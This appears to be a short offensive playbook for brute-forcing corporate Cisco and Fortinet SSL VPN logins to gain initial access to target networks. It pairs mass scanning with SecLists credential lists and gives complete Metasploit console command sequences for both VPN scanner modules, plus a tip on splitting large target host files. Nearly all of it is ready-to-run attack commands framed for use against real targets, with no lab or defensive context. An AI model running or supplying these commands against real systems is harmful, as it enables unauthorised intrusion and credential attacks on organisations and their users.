VPN brute forcing

Brute force common corporate VPNs to gain initial access to target networks. Install metasploit and then see Initial access TTPs for mass scanning ports. For this to work properly using a large IP host file will cause the module to hang for a very long time. To fix this split a large host file down into multiple sub files and run the module against smaller host files.

You can use Seclists for common usernames and passwords to brute-force with.

CISCO

sudo systemctl start postgresql
msfdb init
msfconsole
use auxiliary/scanner/http/cisco_ssl_vpn
set RHOSTS file:/home/targets_443.txt
set RPORT 443
set USER_FILE /home/users.txt
set PASS_FILE /home/pass.txt
set threads 10
run

FORTI SSL VPN

sudo systemctl start postgresql
msfdb init
msfconsole
use auxiliary/scanner/http/fortinet_ssl_vpn
set RHOSTS file:/home/targets_10443.txt
set RPORT 10443
set USER_FILE /home/users.txt
set PASS_FILE /home/pass.txt
set threads 10
run